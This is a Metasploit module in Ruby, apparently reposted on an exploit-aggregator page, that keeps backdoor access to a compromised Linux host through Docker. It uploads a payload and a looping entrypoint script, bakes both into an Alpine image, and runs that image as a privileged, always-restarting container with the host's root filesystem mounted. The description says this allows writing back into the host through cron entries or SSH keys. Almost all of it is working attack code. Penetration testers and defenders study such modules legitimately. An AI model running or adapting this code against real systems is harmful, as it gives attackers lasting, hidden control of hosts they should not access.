Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-DOCKER_IMAGE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker Image Persistence',
        'Description' => %q{
          This module maintains persistence on a host by creating a docker image which runs our
          payload, and has access to the host's file system (/host in the container). Whenever the
          container restarts, the payload will run, or when the payload dies the executable
          will run again after a delay. This will allow for writing back
          into the host through cron entries, ssh keys, or other method.

          Verified on Ubuntu 22.04.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [
          # ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
        ],
        'DisclosureDate' => '2013-03-20', # docker's release date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
      ]
    )
  end

  def check
    # we don't need this check since the payload is in the docker image
    # print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('docker is required') unless command_exists?('docker')

    vprint_status('Checking Docker availability and permissions...')

    output = cmd_exec('docker ps 2>&1')

    if output.include?('permission denied')
      return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
    elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
      return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
    end

    CheckCode::Detected('docker app is installed and accessible')
  end

  def install_persistence
    # Step 1: Prepare payload
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{writable_dir}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    upload_and_chmodx(backdoor, generate_payload_exe)

    # Step 2: Prepare entrypoint script (loops indefinitely)
    sleep_time = datastore['SLEEP']
    entry_script = <<~SCRIPT
      #!/bin/sh
      while true; do
        if [ -x /usr/local/bin/#{file_name} ]; then
          # Check if it's already running
          if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
            /usr/local/bin/#{file_name} &
          fi
        fi
        sleep #{sleep_time}
      done
    SCRIPT

    entry_file = "#{writable_dir}/entrypoint.sh"
    unless write_file(entry_file, entry_script)
      fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")
    end
    chmod(entry_file, 0o755)

    # Step 3: Pull Alpine image
    cmd_exec('docker pull alpine')

    # Step 4: Create a temporary container (stopped) to copy files in
    tmp_container = cmd_exec('docker run -dit alpine sh').strip
    vprint_status("Temporary container created: #{tmp_container}")

    # Copy payload and entrypoint into container
    cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
    cmd_exec("docker cp #{entry_file} #{tmp_container}:/")

    cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
    cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")

    # Commit a new persistent image
    persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
    cmd_exec("docker commit #{tmp_container} #{persistent_image}")
    print_good("Persistent image created: #{persistent_image}")

    # Remove temporary container
    cmd_exec("docker rm #{tmp_container}")

    # Step 5: Start container with internal entrypoint
    container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
    print_good("Container started with internal entrypoint: #{container_id}")

    # Step 6: Add cleanup commands for RC
    @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
    @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
    @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"

    # Step 7: Clean up host temp files
    rm_f(backdoor)
    rm_f(entry_file)

    # Step 8: Stop tmp image
    print_status('Stopping and removing temp container')
    cmd_exec("docker stop #{tmp_container}")
    cmd_exec("docker rm #{tmp_container}")

    print_status("Payload installed and running with #{sleep_time}-second loop in container")
  end

end